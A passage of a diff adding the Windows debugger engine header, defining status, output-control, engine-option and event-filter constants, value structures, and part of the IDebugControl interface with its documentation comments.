DEBUG_STATUS_GO 1 +#define DEBUG_STATUS_GO_HANDLED 2 +#define DEBUG_STATUS_GO_NOT_HANDLED 3 +#define DEBUG_STATUS_STEP_OVER 4 +#define DEBUG_STATUS_STEP_INTO 5 +#define DEBUG_STATUS_BREAK 6 +#define DEBUG_STATUS_NO_DEBUGGEE 7 +#define DEBUG_STATUS_STEP_BRANCH 8 +#define DEBUG_STATUS_IGNORE_EVENT 9 +#define DEBUG_STATUS_RESTART_REQUESTED 10 +#define DEBUG_STATUS_REVERSE_GO 11 +#define DEBUG_STATUS_REVERSE_STEP_BRANCH 12 +#define DEBUG_STATUS_REVERSE_STEP_OVER 13 +#define DEBUG_STATUS_REVERSE_STEP_INTO 14 + +#define DEBUG_STATUS_MASK 0xf + +// This bit is added in DEBUG_CES_EXECUTION_STATUS +// notifications when the engines execution status +// is changing due to operations performed during +// a wait, such as making synchronous callbacks. If +// the bit is not set the execution status is changing +// due to a wait being satisfied. +#define DEBUG_STATUS_INSIDE_WAIT 0x100000000 +// This bit is added in DEBUG_CES_EXECUTION_STATUS +// notifications when the engines execution status +// update is coming after a wait has timed-out. +// It indicates that the execution status change +// was not due to an actual event. +#define DEBUG_STATUS_WAIT_TIMEOUT 0x200000000 + +// Output control flags. +// Output generated by methods called by this +// client will be sent only to this clients +// output callbacks. +#define DEBUG_OUTCTL_THIS_CLIENT 0x00000000 +// Output will be sent to all clients. +#define DEBUG_OUTCTL_ALL_CLIENTS 0x00000001 +// Output will be sent to all clients except +// the client generating the output. +#define DEBUG_OUTCTL_ALL_OTHER_CLIENTS 0x00000002 +// Output will be discarded immediately and will not +// be logged or sent to callbacks. +#define DEBUG_OUTCTL_IGNORE 0x00000003 +// Output will be logged but not sent to callbacks. +#define DEBUG_OUTCTL_LOG_ONLY 0x00000004 +// All send control bits. +#define DEBUG_OUTCTL_SEND_MASK 0x00000007 +// Do not place output from this client in +// the global log file. +#define DEBUG_OUTCTL_NOT_LOGGED 0x00000008 +// Send output to clients regardless of whether the +// mask allows it or not. +#define DEBUG_OUTCTL_OVERRIDE_MASK 0x00000010 +// Text is markup instead of plain text. +#define DEBUG_OUTCTL_DML 0x00000020 + +// Special values which mean leave the output settings +// unchanged. +#define DEBUG_OUTCTL_AMBIENT_DML 0xfffffffe +#define DEBUG_OUTCTL_AMBIENT_TEXT 0xffffffff + +// Old ambient flag which maps to text. +#define DEBUG_OUTCTL_AMBIENT DEBUG_OUTCTL_AMBIENT_TEXT + +// Interrupt types. +// Force a break in if the debuggee is running. +#define DEBUG_INTERRUPT_ACTIVE 0 +// Notify but do not force a break in. +#define DEBUG_INTERRUPT_PASSIVE 1 +// Try and get the current engine operation to +// complete so that the engine will be available +// again. If no wait is active this is the same +// as a passive interrupt. If a wait is active +// this will try to cause the wait to fail without +// breaking in to the debuggee. There is +// no guarantee that issuing an exit interrupt +// will cause the engine to become available +// as not all operations are arbitrarily +// interruptible. +#define DEBUG_INTERRUPT_EXIT 2 + +// OutputCurrentState flags. These flags +// allow a particular type of information +// to be displayed but do not guarantee +// that it will be displayed. Other global +// settings may override these flags or +// the particular state may not be available. +// For example, source line information may +// not be present so source line information +// may not be displayed. +#define DEBUG_CURRENT_DEFAULT 0x0000000f +#define DEBUG_CURRENT_SYMBOL 0x00000001 +#define DEBUG_CURRENT_DISASM 0x00000002 +#define DEBUG_CURRENT_REGISTERS 0x00000004 +#define DEBUG_CURRENT_SOURCE_LINE 0x00000008 + +// +// Disassemble flags. +// + +// Compute the effective address from current register +// information and display it. +#define DEBUG_DISASM_EFFECTIVE_ADDRESS 0x00000001 +// If the current disassembly offset has an exact +// symbol match output the symbol. +#define DEBUG_DISASM_MATCHING_SYMBOLS 0x00000002 +// Output the source line number for each disassembly offset. +#define DEBUG_DISASM_SOURCE_LINE_NUMBER 0x00000004 +// Output the source file name (no path) for each disassembly offset. +#define DEBUG_DISASM_SOURCE_FILE_NAME 0x00000008 + +// Code interpretation levels for stepping +// and other operations. +#define DEBUG_LEVEL_SOURCE 0 +#define DEBUG_LEVEL_ASSEMBLY 1 + +// Engine control flags. +#define DEBUG_ENGOPT_IGNORE_DBGHELP_VERSION 0x00000001 +#define DEBUG_ENGOPT_IGNORE_EXTENSION_VERSIONS 0x00000002 +// If neither allow nor disallow is specified +// the engine will pick one based on what kind +// of debugging is going on. +#define DEBUG_ENGOPT_ALLOW_NETWORK_PATHS 0x00000004 +#define DEBUG_ENGOPT_DISALLOW_NETWORK_PATHS 0x00000008 +#define DEBUG_ENGOPT_NETWORK_PATHS (0x00000004 | 0x00000008) +// Ignore loader-generated first-chance exceptions. +#define DEBUG_ENGOPT_IGNORE_LOADER_EXCEPTIONS 0x00000010 +// Break in on a debuggees initial event. In user-mode +// this will break at the initial system breakpoint +// for every created process. In kernel-mode it +// will attempt break in on the target at the first +// WaitForEvent. +#define DEBUG_ENGOPT_INITIAL_BREAK 0x00000020 +// Break in on the first module load for a debuggee. +#define DEBUG_ENGOPT_INITIAL_MODULE_BREAK 0x00000040 +// Break in on a debuggees final event. In user-mode +// this will break on process exit for every process. +// In kernel-mode it currently does nothing. +#define DEBUG_ENGOPT_FINAL_BREAK 0x00000080 +// By default Execute will repeat the last command +// if it is given an empty string. The flags to +// Execute can override this behavior for a single +// command or this engine option can be used to +// change the default globally. +#define DEBUG_ENGOPT_NO_EXECUTE_REPEAT 0x00000100 +// Disable places in the engine that have fallback +// code when presented with incomplete information. +// 1. Fails minidump module loads unless matching +// executables can be mapped. +#define DEBUG_ENGOPT_FAIL_INCOMPLETE_INFORMATION 0x00000200 +// Allow the debugger to manipulate page protections +// in order to insert code breakpoints on pages that +// do not have write access. This option is not on +// by default as it allows breakpoints to be set +// in potentially hazardous memory areas. +#define DEBUG_ENGOPT_ALLOW_READ_ONLY_BREAKPOINTS 0x00000400 +// When using a software (bp/bu) breakpoint in code +// that will be executed by multiple threads it is +// possible for breakpoint management to cause the +// breakpoint to be missed or for spurious single-step +// exceptions to be generated. This flag suspends +// all but the active thread when doing breakpoint +// management and thereby avoids multithreading +// problems. Care must be taken when using it, though, +// as the suspension of threads can cause deadlocks +// if the suspended threads are holding resources that +// the active thread needs. Additionally, there +// are still rare situations where problems may +// occur, but setting this flag corrects nearly +// all multithreading issues with software breakpoints. +// Thread-restricted stepping and execution supersedes +// this flags effect. +// This flag is ignored in kernel sessions as there +// is no way to restrict processor execution. +#define DEBUG_ENGOPT_SYNCHRONIZE_BREAKPOINTS 0x00000800 +// Disallows executing shell commands through the +// engine with .shell (!!). +#define DEBUG_ENGOPT_DISALLOW_SHELL_COMMANDS 0x00001000 +// Turns on "quiet mode", a somewhat less verbose mode +// of operation supported in the debuggers that were +// superseded by dbgeng.dll. This equates to the KDQUIET +// environment variable. +#define DEBUG_ENGOPT_KD_QUIET_MODE 0x00002000 +// Disables managed code debugging support in the engine. +// If managed support is already in use this flag has no effect. +#define DEBUG_ENGOPT_DISABLE_MANAGED_SUPPORT 0x00004000 +// Disables symbol loading for all modules created +// after this flag is set. +#define DEBUG_ENGOPT_DISABLE_MODULE_SYMBOL_LOAD 0x00008000 +// Disables execution commands. +#define DEBUG_ENGOPT_DISABLE_EXECUTION_COMMANDS 0x00010000 +// Disallows mapping of image files from disk for any use. +// For example, this disallows image mapping for memory +// content when debugging minidumps. +// Does not affect existing mappings, only future attempts. +#define DEBUG_ENGOPT_DISALLOW_IMAGE_FILE_MAPPING 0x00020000 +// Requests that dbgeng run DML-enhanced versions of commands +// and operations by default. +#define DEBUG_ENGOPT_PREFER_DML 0x00040000 +#define DEBUG_ENGOPT_ALL 0x0007FFFF + +// General unspecified ID constant. +#define DEBUG_ANY_ID 0xffffffff + +typedef struct _DEBUG_STACK_FRAME +{ + ULONG64 InstructionOffset; + ULONG64 ReturnOffset; + ULONG64 FrameOffset; + ULONG64 StackOffset; + ULONG64 FuncTableEntry; + ULONG64 Params[4]; + ULONG64 Reserved[6]; + BOOL Virtual; + ULONG FrameNumber; +} DEBUG_STACK_FRAME, *PDEBUG_STACK_FRAME; + +// OutputStackTrace flags. +// Display a small number of arguments for each call. +// These may or may not be the actual arguments depending +// on the architecture, particular function and +// point during the execution of the function. +// If the current code level is assembly arguments +// are dumped as hex values. If the code level is +// source the engine attempts to provide symbolic +// argument information. +#define DEBUG_STACK_ARGUMENTS 0x00000001 +// Displays information about the functions +// frame such as __stdcall arguments, FPO +// information and whatever else is available. +#define DEBUG_STACK_FUNCTION_INFO 0x00000002 +// Displays source line information for each +// frame of the stack trace. +#define DEBUG_STACK_SOURCE_LINE 0x00000004 +// Show return, previous frame and other relevant address +// values for each frame. +#define DEBUG_STACK_FRAME_ADDRESSES 0x00000008 +// Show column names. +#define DEBUG_STACK_COLUMN_NAMES 0x00000010 +// Show non-volatile register context for each +// frame. This is only meaningful for some platforms. +#define DEBUG_STACK_NONVOLATILE_REGISTERS 0x00000020 +// Show frame numbers +#define DEBUG_STACK_FRAME_NUMBERS 0x00000040 +// Show typed source parameters. +#define DEBUG_STACK_PARAMETERS 0x00000080 +// Show just return address in stack frame addresses. +#define DEBUG_STACK_FRAME_ADDRESSES_RA_ONLY 0x00000100 +// Show frame-to-frame memory usage. +#define DEBUG_STACK_FRAME_MEMORY_USAGE 0x00000200 +// Show typed source parameters one to a line. +#define DEBUG_STACK_PARAMETERS_NEWLINE 0x00000400 +// Produce stack output enhanced with DML content. +#define DEBUG_STACK_DML 0x00000800 +// Show offset from stack frame +#define DEBUG_STACK_FRAME_OFFSETS 0x00001000 + +// Classes of debuggee. Each class +// has different qualifiers for specific +// kinds of debuggees. +#define DEBUG_CLASS_UNINITIALIZED 0 +#define DEBUG_CLASS_KERNEL 1 +#define DEBUG_CLASS_USER_WINDOWS 2 +#define DEBUG_CLASS_IMAGE_FILE 3 + +// Generic dump types. These can be used +// with either user or kernel sessions. +// Session-type-specific aliases are also +// provided. +#define DEBUG_DUMP_SMALL 1024 +#define DEBUG_DUMP_DEFAULT 1025 +#define DEBUG_DUMP_FULL 1026 +#define DEBUG_DUMP_IMAGE_FILE 1027 +#define DEBUG_DUMP_TRACE_LOG 1028 +#define DEBUG_DUMP_WINDOWS_CE 1029 + +// Specific types of kernel debuggees. +#define DEBUG_KERNEL_CONNECTION 0 +#define DEBUG_KERNEL_LOCAL 1 +#define DEBUG_KERNEL_EXDI_DRIVER 2 +#define DEBUG_KERNEL_IDNA 3 + +#define DEBUG_KERNEL_SMALL_DUMP DEBUG_DUMP_SMALL +#define DEBUG_KERNEL_DUMP DEBUG_DUMP_DEFAULT +#define DEBUG_KERNEL_FULL_DUMP DEBUG_DUMP_FULL + +#define DEBUG_KERNEL_TRACE_LOG DEBUG_DUMP_TRACE_LOG + +// Specific types of Windows user debuggees. +#define DEBUG_USER_WINDOWS_PROCESS 0 +#define DEBUG_USER_WINDOWS_PROCESS_SERVER 1 +#define DEBUG_USER_WINDOWS_IDNA 2 +#define DEBUG_USER_WINDOWS_SMALL_DUMP DEBUG_DUMP_SMALL +#define DEBUG_USER_WINDOWS_DUMP DEBUG_DUMP_DEFAULT +#define DEBUG_USER_WINDOWS_DUMP_WINDOWS_CE DEBUG_DUMP_WINDOWS_CE + +// Extension flags. +#define DEBUG_EXTENSION_AT_ENGINE 0x00000000 + +// Execute and ExecuteCommandFile flags. +// These flags only apply to the command +// text itself; output from the executed +// command is controlled by the output +// control parameter. +// Default execution. Command is logged +// but not output. +#define DEBUG_EXECUTE_DEFAULT 0x00000000 +// Echo commands during execution. In +// ExecuteCommandFile also echoes the prompt +// for each line of the file. +#define DEBUG_EXECUTE_ECHO 0x00000001 +// Do not log or output commands during execution. +// Overridden by DEBUG_EXECUTE_ECHO. +#define DEBUG_EXECUTE_NOT_LOGGED 0x00000002 +// If this flag is not set an empty string +// to Execute will repeat the last Execute +// string. +#define DEBUG_EXECUTE_NO_REPEAT 0x00000004 + +// Specific event filter types. Some event +// filters have optional arguments to further +// qualify their operation. +#define DEBUG_FILTER_CREATE_THREAD 0x00000000 +#define DEBUG_FILTER_EXIT_THREAD 0x00000001 +#define DEBUG_FILTER_CREATE_PROCESS 0x00000002 +#define DEBUG_FILTER_EXIT_PROCESS 0x00000003 +// Argument is the name of a module to break on. +#define DEBUG_FILTER_LOAD_MODULE 0x00000004 +// Argument is the base address of a specific module to break on. +#define DEBUG_FILTER_UNLOAD_MODULE 0x00000005 +#define DEBUG_FILTER_SYSTEM_ERROR 0x00000006 +// Initial breakpoint and initial module load are one-shot +// events that are triggered at the appropriate points in +// the beginning of a session. Their commands are executed +// and then further processing is controlled by the normal +// exception and load module filters. +#define DEBUG_FILTER_INITIAL_BREAKPOINT 0x00000007 +#define DEBUG_FILTER_INITIAL_MODULE_LOAD 0x00000008 +// The debug output filter allows the debugger to stop +// when output is produced so that the code causing +// output can be tracked down or synchronized with. +// This filter is not supported for live dual-machine +// kernel debugging. +#define DEBUG_FILTER_DEBUGGEE_OUTPUT 0x00000009 + +// Event filter execution options. +// Break in always. +#define DEBUG_FILTER_BREAK 0x00000000 +// Break in on second-chance exceptions. For events +// that are not exceptions this is the same as BREAK. +#define DEBUG_FILTER_SECOND_CHANCE_BREAK 0x00000001 +// Output a message about the event but continue. +#define DEBUG_FILTER_OUTPUT 0x00000002 +// Continue the event. +#define DEBUG_FILTER_IGNORE 0x00000003 +// Used to remove general exception filters. +#define DEBUG_FILTER_REMOVE 0x00000004 + +// Event filter continuation options. These options are +// only used when DEBUG_STATUS_GO is used to continue +// execution. If a specific go status such as +// DEBUG_STATUS_GO_NOT_HANDLED is used it controls +// the continuation. +#define DEBUG_FILTER_GO_HANDLED 0x00000000 +#define DEBUG_FILTER_GO_NOT_HANDLED 0x00000001 + +// Specific event filter settings. +typedef struct _DEBUG_SPECIFIC_FILTER_PARAMETERS +{ + ULONG ExecutionOption; + ULONG ContinueOption; + ULONG TextSize; + ULONG CommandSize; + // If ArgumentSize is zero this filter does + // not have an argument. An empty argument for + // a filter which does have an argument will take + // one byte for the terminator. + ULONG ArgumentSize; +} DEBUG_SPECIFIC_FILTER_PARAMETERS, *PDEBUG_SPECIFIC_FILTER_PARAMETERS; + +// Exception event filter settings. +typedef struct _DEBUG_EXCEPTION_FILTER_PARAMETERS +{ + ULONG ExecutionOption; + ULONG ContinueOption; + ULONG TextSize; + ULONG CommandSize; + ULONG SecondCommandSize; + ULONG ExceptionCode; +} DEBUG_EXCEPTION_FILTER_PARAMETERS, *PDEBUG_EXCEPTION_FILTER_PARAMETERS; + +// Wait flags. +#define DEBUG_WAIT_DEFAULT 0x00000000 + +// Last event information structures. +typedef struct _DEBUG_LAST_EVENT_INFO_BREAKPOINT +{ + ULONG Id; +} DEBUG_LAST_EVENT_INFO_BREAKPOINT, *PDEBUG_LAST_EVENT_INFO_BREAKPOINT; + +typedef struct _DEBUG_LAST_EVENT_INFO_EXCEPTION +{ + EXCEPTION_RECORD64 ExceptionRecord; + ULONG FirstChance; +} DEBUG_LAST_EVENT_INFO_EXCEPTION, *PDEBUG_LAST_EVENT_INFO_EXCEPTION; + +typedef struct _DEBUG_LAST_EVENT_INFO_EXIT_THREAD +{ + ULONG ExitCode; +} DEBUG_LAST_EVENT_INFO_EXIT_THREAD, *PDEBUG_LAST_EVENT_INFO_EXIT_THREAD; + +typedef struct _DEBUG_LAST_EVENT_INFO_EXIT_PROCESS +{ + ULONG ExitCode; +} DEBUG_LAST_EVENT_INFO_EXIT_PROCESS, *PDEBUG_LAST_EVENT_INFO_EXIT_PROCESS; + +typedef struct _DEBUG_LAST_EVENT_INFO_LOAD_MODULE +{ + ULONG64 Base; +} DEBUG_LAST_EVENT_INFO_LOAD_MODULE, *PDEBUG_LAST_EVENT_INFO_LOAD_MODULE; + +typedef struct _DEBUG_LAST_EVENT_INFO_UNLOAD_MODULE +{ + ULONG64 Base; +} DEBUG_LAST_EVENT_INFO_UNLOAD_MODULE, *PDEBUG_LAST_EVENT_INFO_UNLOAD_MODULE; + +typedef struct _DEBUG_LAST_EVENT_INFO_SYSTEM_ERROR +{ + ULONG Error; + ULONG Level; +} DEBUG_LAST_EVENT_INFO_SYSTEM_ERROR, *PDEBUG_LAST_EVENT_INFO_SYSTEM_ERROR; + +// DEBUG_VALUE types. +#define DEBUG_VALUE_INVALID 0 +#define DEBUG_VALUE_INT8 1 +#define DEBUG_VALUE_INT16 2 +#define DEBUG_VALUE_INT32 3 +#define DEBUG_VALUE_INT64 4 +#define DEBUG_VALUE_FLOAT32 5 +#define DEBUG_VALUE_FLOAT64 6 +#define DEBUG_VALUE_FLOAT80 7 +#define DEBUG_VALUE_FLOAT82 8 +#define DEBUG_VALUE_FLOAT128 9 +#define DEBUG_VALUE_VECTOR64 10 +#define DEBUG_VALUE_VECTOR128 11 +// Count of type indices. +#define DEBUG_VALUE_TYPES 12 + +#if defined(_MSC_VER) +#if _MSC_VER >= 800 +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) /* Nameless struct/union */ +#endif +#endif + +// We want the DEBUG_VALUE structure to have 8-byte alignment +// and be 32 bytes total. This is tricky because the compiler +// wants to pad the union of values out to a even 8-byte multiple, +// pushing the type out too far. We can't use 4-packing because +// then the 8-byte alignment requirement is lost, so instead +// we shrink the union to 24 bytes and have a reserved field +// before the type field. The same amount of space is available +// and everybody's happy, but the structure is somewhat unusual. + +typedef struct _DEBUG_VALUE +{ + union + { + UCHAR I8; + USHORT I16; + ULONG I32; + struct + { + // Extra NAT indicator for IA64 + // integer registers. NAT will + // always be false for other CPUs. + ULONG64 I64; + BOOL Nat; + }; + float F32; + double F64; + UCHAR F80Bytes[10]; + UCHAR F82Bytes[11]; + UCHAR F128Bytes[16]; + // Vector interpretations. The actual number + // of valid elements depends on the vector length. + UCHAR VI8[16]; + USHORT VI16[8]; + ULONG VI32[4]; + ULONG64 VI64[2]; + float VF32[4]; + double VF64[2]; + struct + { + ULONG LowPart; + ULONG HighPart; + } I64Parts32; + struct + { + ULONG64 LowPart; + LONG64 HighPart; + } F128Parts64; + // Allows raw byte access to content. Array + // can be indexed for as much data as Type + // describes. This array also serves to pad + // the structure out to 32 bytes and reserves + // space for future members. + UCHAR RawBytes[24]; + }; + ULONG TailOfRawBytes; + ULONG Type; +} DEBUG_VALUE, *PDEBUG_VALUE; + +#if defined(_MSC_VER) +#if _MSC_VER >= 800 +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning(default:4201) /* Nameless struct/union */ +#endif +#endif +#endif + +#undef INTERFACE +#define INTERFACE IDebugControl +DECLARE_INTERFACE_(IDebugControl, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugControl. + + // Checks for a user interrupt, such a Ctrl-C + // or stop button. + // This method is reentrant. + STDMETHOD(GetInterrupt)( + THIS + ) PURE; + // Registers a user interrupt. + // This method is reentrant. + STDMETHOD(SetInterrupt)( + THIS_ + __in ULONG Flags + ) PURE; + // Interrupting a user-mode process requires + // access to some system resources that the + // process may hold itself, preventing the + // interrupt from occurring. The engine + // will time-out pending interrupt requests + // and simulate an interrupt if necessary. + // These methods control the interrupt timeout. + STDMETHOD(GetInterruptTimeout)( + THIS_ + __out PULONG Seconds + ) PURE; + STDMETHOD(SetInterruptTimeout)( + THIS_ + __in ULONG Seconds + ) PURE; + + STDMETHOD(GetLogFile)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG FileSize, + __out PBOOL Append + ) PURE; + // Opens a log file which collects all + // output. Output from every client except + // those that explicitly disable logging + // goes into the log. + // Opening a log file closes any log file + // already open. + STDMETHOD(OpenLogFile)( + THIS_ + __in PCSTR File, + __in BOOL Append + ) PURE; + STDMETHOD(CloseLogFile)( + THIS + ) PURE; + // Controls what output is logged. + STDMETHOD(GetLogMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetLogMask)( + THIS_ + __in ULONG Mask + ) PURE; + + // Input requests input from all clients. + // The first input that is returned is used + // to satisfy the call. Other returned + // input is discarded. + STDMETHOD(Input)( + THIS_ + __out_ecount(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG InputSize + ) PURE; + // This method is used by clients to return + // input when it is available. It will + // return S_OK if the input is used to + // satisfy an Input call and S_FALSE if + // the input is ignored. + // This method is reentrant. + STDMETHOD(ReturnInput)( + THIS_ + __in PCSTR Buffer + ) PURE; + + // Sends output through clients + // output callbacks if the mask is allowed + // by the current output control mask and + // according to the output distribution + // settings. + STDMETHODV(Output)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputVaList)( + THIS_ + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + // The following methods allow direct control + // over the distribution of the given output + // for situations where something other than + // the default is desired. These methods require + // extra work in the engine so they should + // only be used when necessary. + STDMETHODV(ControlledOutput)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + ... + ) PURE; + STDMETHOD(ControlledOutputVaList)( + THIS_ + __in ULONG OutputControl, + __in ULONG Mask, + __in PCSTR Format, + __in va_list Args + ) PURE; + + // Displays the standard command-line prompt + // followed by the given output. If Format + // is NULL no additional output is produced. + // Output is produced under the + // DEBUG_OUTPUT_PROMPT mask. + // This method only outputs the prompt; it + // does not get input. + STDMETHODV(OutputPrompt)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + ... + ) PURE; + STDMETHOD(OutputPromptVaList)( + THIS_ + __in ULONG OutputControl, + __in_opt PCSTR Format, + __in va_list Args + ) PURE; + // Gets the text that would be displayed by OutputPrompt. + STDMETHOD(GetPromptText)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG TextSize + ) PURE; + // Outputs information about the current + // debuggee state such as a register + // summary, disassembly at the current PC, + // closest symbol and others. + // Uses the line prefix. + STDMETHOD(OutputCurrentState)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // Outputs the debugger and extension version + // information. This method is reentrant. + // Uses the line prefix. + STDMETHOD(OutputVersionInformation)( + THIS_ + __in ULONG OutputControl + ) PURE; + + // In user-mode debugging sessions the + // engine will set an event when + // exceptions are continued. This can + // be used to synchronize other processes + // with the debuggers handling of events. + // For example, this is used to support + // the e argument to ntsd. + STDMETHOD(GetNotifyEventHandle)( + THIS_ + __out PULONG64 Handle + ) PURE; + STDMETHOD(SetNotifyEventHandle)( + THIS_ + __in ULONG64 Handle + ) PURE; + + STDMETHOD(Assemble)( + THIS_ + __in ULONG64 Offset, + __in PCSTR Instr, + __out PULONG64 EndOffset + ) PURE; + STDMETHOD(Disassemble)( + THIS_ + __in ULONG64 Offset, + __in ULONG Flags, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG DisassemblySize, + __out PULONG64 EndOffset + ) PURE; + // Returns the value of the effective address + // computed for the last Disassemble, if there + // was one. + STDMETHOD(GetDisassembleEffectiveOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // Uses the line prefix if necessary. + STDMETHOD(OutputDisassembly)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG Flags, + __out PULONG64 EndOffset + ) PURE; + // Produces multiple lines of disassembly output. + // There will be PreviousLines of disassembly before + // the given offset if a valid disassembly exists. + // In all, there will be TotalLines of output produced. + // The first and last line offsets are returned + // specially and all lines offsets can be retrieved + // through LineOffsets. LineOffsets will contain + // offsets for each line where disassembly started. + // When disassembly of a single instruction takes + // multiple lines the initial offset will be followed + // by DEBUG_INVALID_OFFSET. + // Uses the line prefix. + STDMETHOD(OutputDisassemblyLines)( + THIS_ + __in ULONG OutputControl, + __in ULONG PreviousLines, + __in ULONG TotalLines, + __in ULONG64 Offset, + __in ULONG Flags, + __out_opt PULONG OffsetLine, + __out_opt PULONG64 StartOffset, + __out_opt PULONG64 EndOffset, + __out_ecount_opt(TotalLines) PULONG64 LineOffsets + ) PURE; + // Returns the offset of the start of + // the instruction thats the given + // delta away from the instruction + // at the initial offset. + // This routine does not check for + // validity of the instruction or + // the memory containing it. + STDMETHOD(GetNearInstruction)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out PULONG64 NearOffset + ) PURE; + + // Offsets can be passed in as zero to use the current + // thread state. + STDMETHOD(GetStackTrace)( + THIS_ + __in ULONG64 FrameOffset, + __in ULONG64 StackOffset, + __in ULONG64 InstructionOffset, + __out_ecount(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __out_opt PULONG FramesFilled + ) PURE; + // Does a simple stack trace to determine + // what the current return address is. + STDMETHOD(GetReturnOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + // If Frames is NULL OutputStackTrace will + // use GetStackTrace to get FramesSize frames + // and then output them. The current register + // values for frame, stack and instruction offsets + // are used. + // Uses the line prefix. + STDMETHOD(OutputStackTrace)( + THIS_ + __in ULONG OutputControl, + __in_ecount_opt(FramesSize) PDEBUG_STACK_FRAME Frames, + __in ULONG FramesSize, + __in ULONG Flags + ) PURE; + + // Returns information about the debuggee such + // as user vs. kernel, dump vs. live, etc. + STDMETHOD(GetDebuggeeType)( + THIS_ + __out PULONG Class, + __out PULONG Qualifier + ) PURE; + // Returns the type of physical processors in + // the machine. + // Returns one of the IMAGE_FILE_MACHINE values. + STDMETHOD(GetActualProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Returns the type of processor used in the + // current processor context. + STDMETHOD(GetExecutingProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + // Query all the possible processor types that + // may be encountered during this debug session. + STDMETHOD(GetNumberPossibleExecutingProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetPossibleExecutingProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Get the number of actual processors in + // the machine. + STDMETHOD(GetNumberProcessors)( + THIS_ + __out PULONG Number + ) PURE; + // PlatformId is one of the VER_PLATFORM values. + // Major and minor are as given in the NT + // kernel debugger protocol. + // ServicePackString and ServicePackNumber indicate the + // system service pack level. ServicePackNumber is not + // available in some sessions where the service pack level + // is only expressed as a string. The service pack information + // will be empty if the system does not have a service pack + // applied. + // The build string is string information identifying the + // particular build of the system. The build string is + // empty if the system has no particular identifying + // information. + STDMETHOD(GetSystemVersion)( + THIS_ + __out PULONG PlatformId, + __out PULONG Major, + __out PULONG Minor, + __out_ecount_opt(ServicePackStringSize) PSTR ServicePackString, + __in ULONG ServicePackStringSize, + __out_opt PULONG ServicePackStringUsed, + __out PULONG ServicePackNumber, + __out_ecount_opt(BuildStringSize) PSTR BuildString, + __in ULONG BuildStringSize, + __out_opt PULONG BuildStringUsed + ) PURE; + // Returns the page size for the currently executing + // processor context. The page size may vary between + // processor types. + STDMETHOD(GetPageSize)( + THIS_ + __out PULONG Size + ) PURE; + // Returns S_OK if the current processor context uses + // 64-bit addresses, otherwise S_FALSE. + STDMETHOD(IsPointer64Bit)( + THIS + ) PURE; + // Reads the bugcheck data area and returns the + // current contents. This method only works + // in kernel debugging sessions. + STDMETHOD(ReadBugCheckData)( + THIS_ + __out PULONG Code, + __out PULONG64 Arg1, + __out PULONG64 Arg2, + __out PULONG64 Arg3, + __out PULONG64 Arg4 + ) PURE; + + // Query all the processor types supported by + // the engine. This is a complete list and is + // not related to the machine running the engine + // or the debuggee. + STDMETHOD(GetNumberSupportedProcessorTypes)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetSupportedProcessorTypes)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PULONG Types + ) PURE; + // Returns a full, descriptive name and an + // abbreviated name for a processor type. + STDMETHOD(GetProcessorTypeNames)( + THIS_ + __in ULONG Type, + __out_ecount_opt(FullNameBufferSize) PSTR FullNameBuffer, + __in ULONG FullNameBufferSize, + __out_opt PULONG FullNameSize, + __out_ecount_opt(AbbrevNameBufferSize) PSTR AbbrevNameBuffer, + __in ULONG AbbrevNameBufferSize, + __out_opt PULONG AbbrevNameSize + ) PURE; + + // Gets and sets the type of processor to + // use when doing things like setting + // breakpoints, accessing registers, + // getting stack traces and so on. + STDMETHOD(GetEffectiveProcessorType)( + THIS_ + __out PULONG Type + ) PURE; + STDMETHOD(SetEffectiveProcessorType)( + THIS_ + __in ULONG Type + ) PURE; + + // Returns information about whether and how + // the debuggee is running. Status will + // be GO if the debuggee is running and + // BREAK if it isnt. + // If no debuggee exists the status is + // NO_DEBUGGEE. + // This method is reentrant. + STDMETHOD(GetExecutionStatus)( + THIS_ + __out PULONG Status + ) PURE; + // Changes the execution status of the + // engine from stopped to running. + // Status must be one of the go or step + // status values. + STDMETHOD(SetExecutionStatus)( + THIS_ + __in ULONG Status + ) PURE; + + // Controls what code interpretation level the debugger + // runs at. The debugger checks the code level when + // deciding whether to step by a source line or + // assembly instruction along with other related operations. + STDMETHOD(GetCodeLevel)( + THIS_ + __out PULONG Level + ) PURE; + STDMETHOD(SetCodeLevel)( + THIS_ + __in ULONG Level + ) PURE; + + // Gets and sets engine control flags. + // These methods are reentrant. + STDMETHOD(GetEngineOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetEngineOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Gets and sets control values for + // handling system error events. + // If the system error level is less + // than or 